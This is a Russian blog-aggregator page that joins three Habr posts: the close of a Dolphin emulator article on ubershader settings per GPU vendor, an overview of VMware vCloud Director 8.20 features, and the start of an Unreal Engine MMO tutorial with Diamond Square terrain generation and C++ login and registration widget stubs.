Как и в случае с многими другими восхитительными функциями, пользователи macOS, скорее всего, ждут неизбежной фразы «но на macOS...». Вот и она. Устаревшие, неэффективные драйверы OpenGL 4.1 для macOS никак не могут справиться с задачей обработки убершейдеров на сколько-нибудь приемлемом уровне. Гибридный режим снижает торможение, но режим убершейдеров в одиночку слишком медленный. И ещё один недостаток: macOS по-прежнему не поддерживает ни в одном из драйверов кеширование шейдеров.

Рекомендуемые настройки убершейдеров


Учитывая все перечисленные проблемы с драйверами, неудивительно, что некоторые видеокарты лучше работают с определёнными API и настройками. Мы выбрали общие рекомендуемые настройки для разных видеокарт. Можно придерживаться этих рекомендаций с зависимости от предпочтений и модели видеокарты. Не забывайте, что при изменении некоторых настроек во время игры, например, попиксельного освещения или уровня сглаживания (anti-aliasing) потребуется компилирование новых шейдеров, при котором может возникнуть существенная пауза. Также учтите, что для убершейдеров требуется бОльшая мощность видеопроцессора, то есть при таких же настройках необходима более мощная видеокарта.

  • Intel в Windows
    • В режиме Hybrid используйте D3D. Режим Exclusive Mode (в котором применяются только убершейдеры) работает, но встроенные видеокарты Intel пока недостаточно мощны, чтобы работать на полной скорости даже с «родным» разрешением 1x.
    • При генерировании драйвером вариантов для OpenGL возникает подвисание.
    • Драйвер Vulkan поддерживает процессоры только от Skylake и мощнее, к тому же в нём слишком много багов и пока его не стоит использовать.

  • Intel в Linux
    • В режиме Hybrid используйте Vulkan. Exclusive Mode работает, но не на полной скорости.
    • Потрясающий драйвер Anv скорее всего может использовать все преимущества убершейдеров.
    • Видеодрайвер Intel i965 не передаёт шейдеры OpenGL между потоками. Это значит, что поток рендеринга всегда будет рекомпилировать шейдер, что приводит к подвисаниям. Exclusive Mode работает правильно, хоть он и медленный, но в Hybrid Mode возникают подвисания.


Нажмите на изображение, чтобы посмотреть подробности

  • AMD в Windows
    • В режиме Hybrid используйте D3D.
    • В Exclusive Mode используйте D3D или Vulkan.
    • В целом драйвер OpenGL AMD довольно медленный.
  • AMD в Linux
    • В режимах Exclusive и Hybrid используйте Vulkan.
    • radv ведёт себя похоже на anv и работает довольно неплохо.


Нажмите на изображение, чтобы посмотреть подробности

  • NVIDIA в Windows
    • В режиме Hybrid используйте D3D или OpenGL.
    • В режиме Exclusive используйте D3D, OpenGL или Vulkan. Убершейдеры D3D обычно более эффективны, чем у OpenGL и Vulkan, что приводит к более высокой производительности со слабыми видеопроцессорами.
  • NVIDIA в Linux
    • В режиме Hybrid используйте OpenGL.
    • В режиме Exclusive используйте OpenGL или Vulkan. Скорость может зависеть от того, какой API в игре быстрее. Учтите, что в Vulkan возникают подвисания при генерировании вариантов конвейера, что может вызвать пару незначительных подвисаний в самом начале игры.
  • NVIDIA в Android
    • В режиме Hybrid используйте OpenGL.
    • В режиме Exclusive используйте OpenGL или Vulkan. В режиме Exclusive даже можно получить полную скорость на NVIDIA Shield TV в очень простых играх.


Нажмите на изображение, чтобы посмотреть подробности

PowerVR в Android
  • Не рекомендуется. При выполнении убершейдеров возникают графические повреждения из-за ошибок компиляции шейдеров, но они самостоятельно исправляются в режиме Hybrid Mode в процессе компиляции специализированных шейдеров. Слишком медленно и бесполезно на современном оборудовании.

Adreno в Android
  • Не рекомендуется. Hybrid Mode приводит к сбою, а Exclusive Mode демонстрирует серьёзные графические повреждения. Тоже слишком медленно и бесполезно на современном оборудовании.

Mali в Android
  • Не тестировался. Но мы можем с уверенностью сказать, что ничего хорошего не выйдет.

В заключение


Сейчас очень странно говорить о проекте убершейдеров в прошлом времени. Он завершён, объединён с основной веткой и его можно использовать прямо сейчас в последних тестовых сборках. Хотя местами возникают сложности, мы наконец нашли решение проблемы подвисаний при компиляции шейдеров. Со временем, когда видеокарты станут мощнее, а Exclusive Mode получит большее распространение, убершейдеры улучшатся. Когда драйверы Vulkan повзрослеют, а у других драйвером исправят странное поведение, режим Hybrid Mode тоже должен стать лучше. И мы, со своей стороны, конечно же, продолжим улучшать эмуляцию

Хоть проблема с подвисаниями в сущности решена, эмулятору Dolphin всё равно нужен достаточно быстрый компьютер. Кроме того, есть небольшие недостатки в JIT, которые могут вызывать подвисания. Сейчас JIT с поддержкой ветвления в Dolphin испытывает большие проблемы в играх, использующих JIT (например, в играх N64 VC). Они приводят к подвисаниям, которые похожи на подвисания при компиляции шейдеров, но на самом деле не имеют с ними ничего общего. Хоть мы и надеемся решить эту проблему, но, скорее всего, добавим опцию отключения поддержки ветвления, если не удастся решить её полностью, чтобы пользователи могли отключать ветвление в проблематичных играх.

Из-за этой огромной статьи июльского отчёта о прогрессе не будет. Мы объединим потрясающие июльские изменения с августовским отчётом о прогрессе. Он будет большим, так что ждите!
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/334868/


Метки:  

vCloud Director

Понедельник, 07 Августа 2017 г. 11:15 + в цитатник


Привет, Хабр!
Мы обновили платформу VMware vCloud Director с версии 8.10 до 8.20.

Что нового и какие особенности у версии 8.20? Ответ на этот вопрос вероятно интересует тех, кто ранее уже пользовался облаками по модели IaaS (Infrastructure-as-a-Service) и знаком с продуктом vCloud Director. Мы расскажем об этом во второй половине нашей статьи, но прежде нам хотелось бы дать краткий обзор модулей и компонентов vCloud Director для менее опытных в вопросах виртуализации читателей.

Что нам стоит vЦОД построить?


VMware vCloud Director — это платформа, которая позволяет создавать программно-определяемые, виртуальные центры обработки данных, преобразуя физические ЦОДы в эластичные пулы вычислительных ресурсов, которые конечным потребителям предлагается использовать по различным моделям распределения и потребления. vCloud Director имеет панель управления, которая помогает провайдерам облачных услуг делегировать некоторые из повседневных IT-операций своим клиентам.

Все физические ресурсы дата-центра, такие как вычислительные мощности, диски и сети, объединяются в большие пулы виртуальных ресурсов. В дальнейшем части этих ресурсов предоставляются в виде «сборных» vЦОДов, которые выделяются для арендаторов (tenants).

VCloud Director использует VMware vCenter и VMware vSphere для преобразования физических вычислительных ресурсов и ресурсов хранения в виртуальные пулы, а NSX/vCNS для создания виртуальных сетей с различной топологией.


Как VMware vCloud Director накапливает ресурсы для использования, и как отдельные арендаторы могут их потреблять?

vSphere предоставляет VCloud Director все ресурсы для использования, чтобы создать общий пул под названием Provider vDC (virtual data centers). Provider vDC создает уровень абстракции, из которого ресурсы могут быть получены для потребления конечными пользователями как отдельные вычислительные единицы, так называемые Org vDC. vCloud Director поддерживает базу данных всех ресурсов из vSphere, периодически синхронизируясь с vSphere Inventory.



Org vDC — это вычислительная единица, которая может потребляться пользователями облака. Это контейнер для всех виртуальных машин, которые используются в облаке группой пользователей. Предприятие, использующее облако провайдера, может иметь несколько Org vDataCenters, каждый из которых сконструирован таким образом, чтобы он сопоставлялся с определенным профилем обслуживания, такими как gold, silver и bronze, или с бизнес-группой, например HR, финансы или маркетинг.

Org vDC объединяются в одну или несколько сетей. Сети Org vDC предоставляют сетевые службы виртуальным машинам, находящимся в Org vDC. Помимо этого, виртуальная машина может создавать дополнительный сегмент сети (сети vApp). Сеть vApp имеет свой шлюз, связанный с сетью Org vDC.

Существует три типа сетей, к которым можно подключить виртуальную машину или сеть vApp:

  • Изолированная сеть: полностью изолированная и немаршрутизируемая сеть, подходящая для виртуальных машин, которым необходима высокая безопасность и не нужен доступ к внешним сетям/Интернету.
  • Маршрутизируемая сеть Org vDC: виртуальные машины, подключенные к маршрутизируемым сетям, могут отправлять и получать внешний сетевой трафик, используя протокол NAT, брандмауэр и VPN-туннели.
  • Внешняя сеть.

Провайдер услуг может присвоить роль администратора-арендатора какому-либо пользователю из этой организации. Администратор-арендатор может добавлять и удалять пользователей, распределять ресурсы и создавать сетевые службы для организации. Каждая организация имеет уникальный URL-адрес, созданный поверх базового URL-адреса vCD. Авторизованные пользователи могут войти через уникальный URL своих организаций. Администраторы-арендаторы также могут подключать каталоги сервисов для пользователей облака. В этих каталогах могут быть виртуальные машины или мультимашинные virtual appliance шаблоны, образы ISO или файлы. Пользователи могут использовать эти шаблоны для ускорения развёртывания виртуальных машин.

vCloud Director разработан для оптимизации потребления ресурсов, предоставления «сборных» услуг с сохранением изолированности между ресурсами каждого клиента в облаке. Ниже перечислены некоторые характеристики vCloud Director, которые делают это возможным.

Эластичный пул ресурсов


Из абстрактного слоя Provider vDC vCloud Director может извлекать ресурсы для клиентов, когда это необходимо, и возвращать ресурсы в пул, когда они уже не нужны.

Как это делается? (Модели распределения)

vCloud Director имеет три типа моделей, с помощью которых он выделяет ресурсы для Org vDC. Org vDC по существу сопоставляется с пулом ресурсов в vSphere.

  • ALLOCATION POOL — гарантируется % ресурса, а в пуле ресурсов установлен максимально возможный лимит.
  • PAY-AS-YOU-GO — нет гарантированных ресурсов и максимальных лимитов, установленных в пуле резервирования. Ограничения ресурсов установлены на уровне виртуальной машины.
  • RESERVATION POOL- гарантированные ресурсы и максимальные лимиты равны, все ресурсы выделены. На уровне виртуальной машины не заданы ресурсные параметры, однако, пользователь может изменять ограничения и резервировать ресурсы на виртуальную машину.

Клиент, которому требуется фиксированный набор ресурсов, может работать с Org vDC с гарантированными ресурсами, или выбрать PAY-AS-YOU-GO, когда нет данных о том, сколько ресурсов они будут потреблять в облаке. Провайдер vDC, благодаря эластичности пула может избежать избыточности физических ЦОДов и сократить расходы на капитальные затраты, добавив физические хосты только по мере необходимости без остановки работы.

Мультиарендность


Multi-Tenancy — одна из неотъемлемых характеристик облака IaaS. VCloud Director имеет специальные модули и конструкции, построенные вокруг этой базовой характеристики. Организация в vCloud Director — это единица многопользовательской аренды, которая представляет собой единую логическую границу безопасности. Организация включает в себя пользователей, виртуальные центры обработки данных и сети. vCloud Director позволяет провайдерам услуг создавать изолированные контейнеры, которые могут быть сопоставлены с отдельными арендаторами облака. Делается это путем «среза» ресурсов из Provider vDC в один или несколько отдельных Org vDC для организаций.



Вместо того, чтобы поддерживать индивидуальные клиентские среды, vCloud Director предоставляет стандартные методы получения и предоставления услуг, которые помогают поддерживать единую среду для арендаторов, снижая операционные издержки. Стандартные и предопределенные способы применения услуг для арендаторов помогают сократить время, необходимое для поддержки или создания условий для арендаторов.

Операционная эффективность является сердцем ценностного предложения VMware vCloud Director, позволяя провайдерам, например, улучшить свой коэффициент VM-to-admin до 3 раза, как в примере Zettagrid (с одного администратора на 200-виртуальных машин до одного администратора на 600 ВМ), или сэкономить 1,35 млн и 250 000 долларов США на ежегодные расходы на техническое обслуживание, внедрив vCloud Director вместо специального решения, как это произошло в phoenixNAP.

Самообслуживание клиентов


vCloud Director предлагает модель, которая помогает провайдерам облачных услуг делегировать некоторые из повседневных IT-операций своим клиентам. Это дает клиентам большую гибкость в работе и контроль над облачными средами. Панель управления позволяет создавать виртуальные машины и управлять ими, осуществлять их миграцию из другого облака, гибко управлять правами доступа к пулу виртуальных ресурсов, создавать внутренние маршрутизируемые и изолированные сети, настраивать гибкие правила Firewall, создавать VPN-соединения, настраивать балансировку нагрузки между виртуальными машинами и многое другое.

Мониторинг и анализ облачной инфраструктуры в режиме реального времени


VMware vRealize Operations Manager и VMware vRealize Log Insight предлагают «единое окно» для мониторинга состояния инфраструктуры. Через него возможно контролировать использование инфраструктуры, получать отчеты об эффективности и запускать аналитику. VRealize Operations подключается к средам vSphere через vCenter Server и предоставляет иерархическую информацию обо всех компонентах в центре обработки данных: от vCenter-серверов и ESXi-хостов до виртуальных машин, хранилищ и сетей.

VRealize Log Insight собирает журналы приложений и систем через Syslog и предоставляет возможности аналитики через визуальную панель. Журналы помогают понять поведения и состояния систем, уловить проблемы, которые упускаются операционными предупреждениями.

vCloud Director имеет обширный набор RESTFull API, доступных с помощью REST Clients через HTTP. Чтобы узнать больше, рекомендуем изучить vCloud Director API Programming Guide и vCloud Director SDK for Java /.NET /PHP Developers guide.

Надеемся, что читатели ранее не знакомые с платформой для управления виртуальной инфраструктурой vCloud Director, получили представление о её назначении и функциях. Теперь мы хотели бы рассказать о том, что даёт облачному провайдеру и его клиентам обновление до версии 8.20.

Что нового в vCloud Director 8.20


Версия 8.20 является продолжением работы компании VMware над передачей контроля над своей виртуальной инфраструктурой конечным клиентам облачного провайдера. Ранее выпущенный релиз vCloud Director 8.10 предоставил клиентам возможность использовать полезный и ожидаемый функционал. Например, веб-консоль vCloud Director 8.10 позволила использовать функцию гранулированного управления Storage Policy в разрезе отдельно взятых виртуальных дисков каждой VM. Ранее изменять политики для хранилищ можно было лишь через vCloud API.

В свою очередь vCloud Director 8.20 теперь более тесно интегрируется с сетевой виртуализацией VMware NSX, а это означает, что конечные пользователи смогут самостоятельно за несколько секунд создать любую сетевую топологию — от простой до многоуровневой с помощью нового интерфейса на HTML5.

Как и виртуальные машины в вычислительных средах, виртуальные сети инициализируются программным способом и работают независимо от базового оборудования. VMware NSX воспроизводит модель сети на программном уровне. Сеть NSX — это библиотека логических сетевых элементов и служб, таких как логические коммутаторы, маршрутизаторы, брандмауэры, средства балансировки нагрузки, VPN и средства обеспечения безопасности.

Расширенные сетевые функции NSX


  • Динамическая маршрутизация — добавлены алгоритмы Open Shortest Path First (OSPF) и Border Gateway Protocol (BGP) для автоматического создания таблиц маршрутизации между динамическими VMware NSX Edge шлюзами.
  • Распределенный брандмауэр. Возможность управления гранулированными политиками безопасности, включая правила брандмауэра для трафика, проходящего внутри Org vDC.
  • Tenant layer 2 (L2) VPN access для поддержки гибридных облаков. Позволяет арендаторам создавать туннель между сетями в Org VDC и локальной сетью на своем предприятии, образуя выглядящую «бесшовной» сеть.
  • Tenant SSL VPN — удаленный доступ через браузер, в дополнение к IPSec и L2-VPN.
  • Балансировка нагрузки — динамическое распределение входящего трафика для сохранения SLA.

Настройка расширенных функций NSX

Щелкните правой кнопкой мыши на NSX Edge gateway и выберите «Convert to Advanced Gateway». Это действие обновит NSX Edge до более высокой версии программного обеспечения, если использовалась версия 5.5 или более ранняя версия, и включит новый пользовательский интерфейс на HTML5 для настройки расширенных функций NSX.

Динамическая маршрутизация vCloud Director 8.20 добавляет поддержку настройки динамической маршрутизации между различными шлюзами NSX Edge. Ранее существовала поддержка только статических маршрутов между различными сетями vApp, подключенными к одной и той же или другой сети vDC организации.

Динамическая маршрутизация уменьшает необходимость настройки маршрутов вручную, когда виртуальная машина (VM) в Org vDC-сети должна «общаться» с другой виртуальной машиной в другой сети vDC организации. Это уменьшает общее время, которое администраторы организации тратят на поддержание таблиц сетевой маршрутизации.

vCloud Director 8.20 предоставляет возможность арендатору настраивать правила распределенного межсетевого экрана в Org vDC. Правила брандмауэра определяют способы потока трафика между виртуальными машинами в сети Org vDC. В предыдущих версиях vCloud Director вы могли настроить брандмауэр для управления потоком трафика между внешними и маршрутизируемыми сетями vDC организации, также известными как трафик «север-юг». Но возможности определить правила для трафика между виртуальными машинами в рамках одной или нескольких сетей внутри Org vDC, по сути, не было (трафик «восток-запад»).

Теперь вы можете создавать правила, используя индивидуальные IP или MAC-адреса, или предопределенный набор IP/MAC-адресов. Вы можете применять правила к отдельным портам или выбирать из предопределенного списка сервисов (например, SNMP, ICMP, HTTP и прочее). или группы (например, Microsoft Exchange, Oracle и прочее).

Балансировщик нагрузки NSX Edge теперь позволяет равномерно распределять входящий трафик на пул серверов vDC с указанием IP-адресов виртуальных машин, которые будут распределять нагрузку входящего трафика.



Общий процесс настройки балансировки нагрузки на шлюзе NSX Edge.



Контроль доступа пользователей на основе ролей для провайдера услуг и арендаторов


VCloud Director 8.20 позволяет создавать custom roles для арендаторов. Вы можете определить роли на основе функциональных задач и подзадач в vCloud Director.



VM to ESXi Host Affinity Rules


Правила привязки виртуальных машин к группе ESXi-хостов гарантируют, что виртуальные машины, определенные в наборе правил, размещаются на определённом наборе хостов.

При использовании провайдером VMware vSphere Distributed Resource Scheduler (DRS), применяется алгоритм для выбора подходящего ESXi-хоста для виртуальной машины с целью равномерного распределения нагрузки. Однако существуют сценарии, в которых вам необходимо разместить виртуальную машину в Org vDC на конкретном хосте, не рекомендованном DRS. Например, приложения, чувствительные к задержкам, или приложения с требованиями к лицензированию, которые необходимо разместить на одном хосте. Для таких случаев, применяются VM-Host Affinity Rules.

Также среди новых возможностей стоит отметить

  • автоматическое обнаружение и импорт виртуальных машин;
  • утилита обновления Multi-Cell Upgrade теперь поддерживает обновление всех ячеек в серверной группе с помощью одной операции;
  • утилита миграции сетей vCDNI на VXLAN;
  • поддержка Windows Server 2016 и Virtual Hardware 13.

Ознакомиться с полным набором новых возможностей панели управления vCloud Director вы можете, воспользовавшись бесплатным тестовым доступом к облаку Cloud4Y для юридических лиц.

Резюме


С этим выпуском начат переход пользовательского интерфейса vCloud Director от текущей технологии на основе Flex к интерфейсу, основанному на HTML5. Все сетевые службы NSX были перенесены в новый интерфейс, в то время как остальные элементы пользовательского интерфейса по-прежнему основаны на Flex.

VMware vCloud Director 8.20 упакован новыми новыми функциями, которые помогут повысить безопасность и удобство управления виртуальными компьютерными ресурсами, закрепляя тренд на гибридную облачную инфраструктуру и делегирование возможностей управления инфраструктурой от провайдера к клиенту.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335044/


MMO с нуля. Часть 2. Наращивание функционала + алгоритм Diamond Square

Понедельник, 07 Августа 2017 г. 11:11 + в цитатник
Всем привет! В предыдущей части мы разобрались с базовой архитектурой, сетью и обменом сообщениями. Нарастим теперь функционал. Сделаем возможность войти, зарегистрироваться получив при этом сессионный id, который можно в будущем использовать для управления клиентом в процессе игры. Далее мы добавим чат, по сути все работает по его принципу: получили сообщение — разослали подписантам. Сделаем возможность создавать игровые комнаты, где будем собирать игроков и отправлять в бой. Синхронизировать перемещение клиентов и напоследок проверять выстрел на проверочном сервере. Будет много кода, я продолжаю пошаговое описание, чтобы можно было быстро разобраться и воспроизвести для своих нужд. Для тех, кто не знаком с первой частью, но хочет вынести для себя что-то полезное здесь и сейчас, я добавил реализацию алгоритма генерации фрактальных ландшафтов Diamond Square, в начало. Happy coding!

Часть 1. Общая картина, сборка библиотек, подготовка клиента и сервера к обмену сообщениями
Часть 2. Наращивание игрового функционала + алгоритм Diamond Square





Алгоритм Diamond Square и Unreal Engine


Diamond square даёт один из самых реалистичных результатов. Ландшафты, получающиеся с его помощью, как правило, называют фрактальными. Различные реализации алгоритма используются в программах, таких как terragen.



Описать алгоритм можно в пяти шагах:
  1. Инициализация угловых точек. Присваивание им значений высот выбором случайных чисел.
  2. Нахождение срединной точки, присваивание ей значения, на основе среднего от угловых, плюс случайное число.
  3. Нахождение срединной точек для ромбов, отмеченных черными точками (на этом шаге по одной точке каждого ромба выходят за пределы массива).
  4. Для каждого квадрата (на этом шаге их 4), повторяем шаг № 2.
  5. Повторяем шаг № 3 для каждого ромба. У ромбов, имеющих точки на краю массива, одна из точек выходит за пределы массива.



Реализацию вы можете найти тут:

github.com/VadimDev/Unreal-Engine-diamond-square-algorithm

Пару слов о том, как я отрисовал его в движке. Один из вариантов был создать все, использовав DrawDebugLine, однако, это не работает в запакованной игре, и к тому же для каждой линии запускается таймер с её временем жизни, что создаёт дополнительную нагрузку. Чтобы нарисовать линии или создать Mesh в runtime, нужно создать свой UPrimitiveComponent, затем в нем класс производный от FPrimitiveSceneProxy, у которого мы переопределим функцию GetDynamicMeshElements (или DrawDynamicElements, если вызвать и отрисовать нужно один раз). В этой функции есть доступ к FPrimitiveDrawInterface, которая позволяет рисовать различные примитивы. Переопределяем FPrimitiveSceneProxy* CreateSceneProxy() в UPrimitiveComponent и возвращаем оттуда экземпляр вложенного класса производного от FPrimitiveSceneProxy. Чтобы использовать класс, необходимо создать BP актора и присвоить ему созданный компонент.

Алгоритм «diamond-square» для построения фрактальных ландшафтов

За дело! Регистрация и вход


В предыдущей части мы разобрались с сетью и обменом сообщениями. Если возникнут сложности или что-то не сходится, то загляните в исходники проекта которые вы можете получить здесь:

github.com/VadimDev/Spiky-Project

Начнем с реализации интерфейса и функционала, формы регистрации и входа. Для начала создадим их вид в визуальном UMG редакторе.

Создадим папку Blueprints, в ней Widgets. За основу я всегда беру HorizontalBox/VerticalBox, в котором может быть ScaleBox с разными параметрами. Как показала практика, это лучший вариант автомасштабирования для разных экранов. Интерфейс имеет множество вложений и сам по себе довольно сложный. Для тестов полезно иметь временный виджет с корнем Canvas, на него можно добавить созданный виджет и растягивать, наблюдая за масштабированием.



Мы не будем создавать виджеты шаг за шагом. Вам нужно взять их и ресурсы к ним из исходников и поместить в Widgets и ProjectResources.

Теперь к логике, нам нужно привязать интерфейс к коду, создаём для каждого виджета класс наследованный от UserWidget класс.

Extend UserWidget for UMG Widgets
docs.unrealengine.com/latest/INT/Programming/Slate
docs.unrealengine.com/latest/INT/Programming/Tutorials/UMG

Откроем Spiky_Server.Build.cs и добавим новые модули необходимые для работы с UI:

PrivateDependencyModuleNames.AddRange(new string[] { "UMG", "Slate", "SlateCore" });

Создадим папку UI и разместим там заголовки и реализации заглушки:

Виджеты регистрации, входа, виджет настройки адреса сервера и виджет экрана ожидания
LoginWidgets
LoginWidgets.h
// Copyright (c) 2017, Vadim Petrov - MIT License

#pragma once

#include "Runtime/UMG/Public/Blueprint/UserWidget.h"
#include 
#include "LoginWidgets.generated.h"

class UButton;
class UTextBlock;
class UEditableTextBox;

UCLASS()
class SPIKY_CLIENT_API ULoginWidgets : public UUserWidget
{
	GENERATED_BODY()
	
	virtual void NativeConstruct() override;

	bool bMailOk = false;
	bool bPassOk = false;

public:

	UButton* wSingUpButton = nullptr;
	UTextBlock* wInfoBlock = nullptr;

	UEditableTextBox* wMailTextBox = nullptr;
	UEditableTextBox* wPasswordTextBox = nullptr;

	UButton* wLoginButton = nullptr;
	UButton* wSettingsButton = nullptr;

	UFUNCTION()
	void SettingsButtonClicked();

	UFUNCTION()
	void SingUpButtonClicked();

	UFUNCTION()
	void LoginButtonClicked();

	UFUNCTION()
	void OnMailTextChanged(const FText & text);

	UFUNCTION()
	void OnPasswordTextChanged(const FText & text);

	FTimerHandle MessageTimerHandle;
	void HideErrorMessage();
	void ShowErrorMessage(FString msg);

	static std::string mail;
	static std::string password;
};


LoginWidgets.cpp
// Copyright (c) 2017, Vadim Petrov - MIT License

#include "Spiky_Client.h"
#include "LoginWidgets.h"

std::string ULoginWidgets::mail = "";
std::string ULoginWidgets::password = "";

void ULoginWidgets::NativeConstruct()
{
	Super::NativeConstruct();
}

void ULoginWidgets::LoginButtonClicked()
{
}

void ULoginWidgets::SettingsButtonClicked()
{
}

void ULoginWidgets::SingUpButtonClicked()
{
}

void ULoginWidgets::HideErrorMessage()
{
}

void ULoginWidgets::ShowErrorMessage(FString msg)
{
}

void ULoginWidgets::OnMailTextChanged(const FText & text)
{
}

void ULoginWidgets::OnPasswordTextChanged(const FText & text)
{
}



RegWidgets
RegWidgets.h
// Copyright (c) 2017, Vadim Petrov - MIT License

#pragma once

#include "Runtime/UMG/Public/Blueprint/UserWidget.h"
#include "RegWidgets.generated.h"

class UButton;
class UImage;
class UEditableTextBox;
class UTextBlock;
class UTexture2D;

UCLASS()
class SPIKY_CLIENT_API URegWidgets : public UUserWidget
{
	GENERATED_BODY()
	
	URegWidgets(const FObjectInitializer& ObjectInitializer);

	virtual void NativeConstruct() override;

public:

	UButton* wReloadCaptchaButton = nullptr;
	UImage* wCaptchaImage = nullptr;

	UImage* wLoginImage = nullptr;
	UImage* wPassImage = nullptr;
	UImage* wMailImage = nullptr;
	UImage* wCaptchaCheckImage = nullptr;

	UTexture2D* accept_tex = nullptr;
	UTexture2D* denied_tex = nullptr;
	UTexture2D* empty_tex = nullptr;

	UEditableTextBox* wLoginTextBox = nullptr;
	UEditableTextBox* wPasswordTextBox = nullptr;
	UEditableTextBox* wMainTextBox = nullptr;
	UEditableTextBox* wCaptchaTextBox = nullptr;

	UTextBlock* wInfoBlock = nullptr;

	UButton* wShowTermsPrivacyButton = nullptr;

	UButton* wCloseButton = nullptr;

	UButton* wSingUpButton = nullptr;

	UFUNCTION()
	void SingUpButtonClicked();

	UFUNCTION()
	void CloseButtonClicked();

	UFUNCTION()
	void ShowTermPrivacyClicked();

	UFUNCTION()
	void ReloadCaptchaClicked();

	UFUNCTION()
	void OnLoginTextChanged(const FText & text);

	UFUNCTION()
	void OnPasswordTextChanged(const FText & text);

	UFUNCTION()
	void OnMailTextChanged(const FText & text);

	UFUNCTION()
	void OnCaptchaTextChanged(const FText & text);

	bool bLoginOk = false;
	bool bPassOk = false;
	bool bMailOk = false;
	bool bCaptchaOk = false;
};


RegWidgets.cpp
// Copyright (c) 2017, Vadim Petrov - MIT License

#include "Spiky_Client.h"
#include "RegWidgets.h"

URegWidgets::URegWidgets(const FObjectInitializer & ObjectInitializer)
	: Super(ObjectInitializer)
{
}

void URegWidgets::NativeConstruct()
{
	Super::NativeConstruct();
}

void URegWidgets::CloseButtonClicked()
{
}

void URegWidgets::ShowTermPrivacyClicked()
{
}

void URegWidgets::ReloadCaptchaClicked()
{
}

void URegWidgets::OnLoginTextChanged(const FText & text)
{
}

void URegWidgets::OnPasswordTextChanged(const FText & text)
{
}

void URegWidgets::OnMailTextChanged(const FText & text)
{
}

void URegWidgets::OnCaptchaTextChanged(const FText & text)
{
}

void URegWidgets::SingUpButtonClicked()
{
}



SetServerWidgets
SetServerWidgets.h
// Copyright (c) 2017, Vadim Petrov - MIT License

#pragma once

#include "Runtime/UMG/Public/Blueprint/UserWidget.h"
#include "SetServerWidgets.generated.h"

class UEditableTextBox;

UCLASS()
class SPIKY_CLIENT_API USetServerWidgets : public UUserWidget
{
	GENERATED_BODY()
	
	virtual void NativeConstruct() override;

	UEditableTextBox* wAddressBox = nullptr;
	UEditableTextBox* wPortBox = nullptr;
	
public:
	
	void SetAddress();
};


SetServerWidgets.cpp
// Copyright (c) 2017, Vadim Petrov - MIT License

#include "Spiky_Client.h"
#include "SetServerWidgets.h"
#include "SocketObject.h"
#include "Runtime/UMG/Public/Components/EditableTextBox.h"

void USetServerWidgets::NativeConstruct()
{
	Super::NativeConstruct();

	wAddressBox = Cast(GetWidgetFromName(TEXT("AddressBox")));
	wPortBox = Cast(GetWidgetFromName(TEXT("PortBox")));

	// default value
	uint32 OutIP;
	USocketObject::tcp_address->GetIp(OutIP);

	// возвращаем ip нормальный вид
	FString ip = FString::Printf(TEXT("%d.%d.%d.%d"), 0xff & (OutIP >> 24), 0xff & (OutIP >> 16), 0xff & (OutIP >> 8), 0xff & OutIP);

	wAddressBox->SetText(FText::FromString(ip));
	wPortBox->SetText(FText::FromString(FString::FromInt(USocketObject::tcp_address->GetPort())));
}

void USetServerWidgets::SetAddress()
{
	uint32 OutIP;
	USocketObject::tcp_address->GetIp(OutIP);

	// возвращаем ip нормальный вид
	FString oldIP = FString::Printf(TEXT("%d.%d.%d.%d"), 0xff & (OutIP >> 24), 0xff & (OutIP >> 16), 0xff & (OutIP >> 8), 0xff & OutIP);
	FString oldPort = FString::FromInt(USocketObject::tcp_address->GetPort());

	// забрать данные при закрытии
	FIPv4Address serverIP;
	FIPv4Address::Parse(wAddressBox->GetText().ToString(), serverIP);
	int32 serverPort = FCString::Atoi(*(wPortBox->GetText().ToString()));

	FString newIP = serverIP.ToString();
	FString newPort = FString::FromInt(serverPort);

	GLog->Log(newIP + " " + newPort);

	// если новый ввод отличается от старого
	if (!oldIP.Equals(*newIP, ESearchCase::IgnoreCase) || !oldPort.Equals(*newPort, ESearchCase::IgnoreCase))
	{
		GLog->Log("Address change");
		USocketObject::tcp_address->SetIp(serverIP.Value);
		USocketObject::tcp_address->SetPort(FCString::Atoi(*(wPortBox->GetText().ToString())));
		USocketObject::Reconnect();
	}
}



SSButtonWidgets
SSButtonWidgets.h
// Copyright (c) 2017, Vadim Petrov - MIT License

#pragma once

#include "Runtime/UMG/Public/Blueprint/UserWidget.h"
#include "SSButtonWidgets.generated.h"

class UButton;

UCLASS()
class SPIKY_CLIENT_API USSButtonWidgets : public UUserWidget
{
	GENERATED_BODY()
	
	virtual void NativeConstruct() override;

	UButton* wSettingsButton = nullptr;

	UFUNCTION()
	void SettingsButtonClicked();
};


SSButtonWidgets.cpp
// Copyright (c) 2017, Vadim Petrov - MIT License

#include "Spiky_Client.h"
#include "SSButtonWidgets.h"
#include "Runtime/UMG/Public/Components/Button.h"

void USSButtonWidgets::NativeConstruct()
{
	Super::NativeConstruct();

	wSettingsButton = Cast(GetWidgetFromName(TEXT("SettingsButton")));
	wSettingsButton->OnClicked.AddDynamic(this, &USSButtonWidgets::SettingsButtonClicked);
}

void USSButtonWidgets::SettingsButtonClicked()
{
}



WSWidgets
WSWidgets.h
// Copyright (c) 2017, Vadim Petrov - MIT License

#pragma once

#include "Spiky_Client.h"

#include "Runtime/UMG/Public/Blueprint/UserWidget.h"
#include "Runtime/UMG/Public/Components/Image.h"
#include "WSWidgets.generated.h"

UCLASS()
class SPIKY_CLIENT_API UWSWidgets : public UUserWidget
{
	GENERATED_BODY()
	
	virtual void NativeConstruct() override;

public:

	FTimerHandle MessageTimerHandle;

	bool once = true;

	UImage * wGear1 = nullptr;
	UImage * wGear2 = nullptr;

	FWidgetTransform transform1;
	FWidgetTransform transform2;
	void GearsAnim();
};


WSWidgets.cpp
// Copyright (c) 2017, Vadim Petrov - MIT License

#include "Spiky_Client.h"
#include "WSWidgets.h"

#include "Runtime/Engine/Public/TimerManager.h"

void UWSWidgets::NativeConstruct()
{
	Super::NativeConstruct();

	if (once)
	{
		once = false;
		GetWorld()->GetTimerManager().SetTimer(MessageTimerHandle, this, &UWSWidgets::GearsAnim, 0.01f, true);
	}

	wGear1 = Cast(GetWidgetFromName(TEXT("Gear1")));
	wGear2 = Cast(GetWidgetFromName(TEXT("Gear2")));
}

void UWSWidgets::GearsAnim()
{
	transform1.Angle += 1;
	wGear1->SetRenderTransform(transform1);

	transform2.Angle -= 1;
	wGear2->SetRenderTransform(transform2);
}




В редакторе UMG каждый виджет может иметь имя, через которое он будет доступен из кода. В конструкторе мы находим виджет по этому имени и инициализируем:

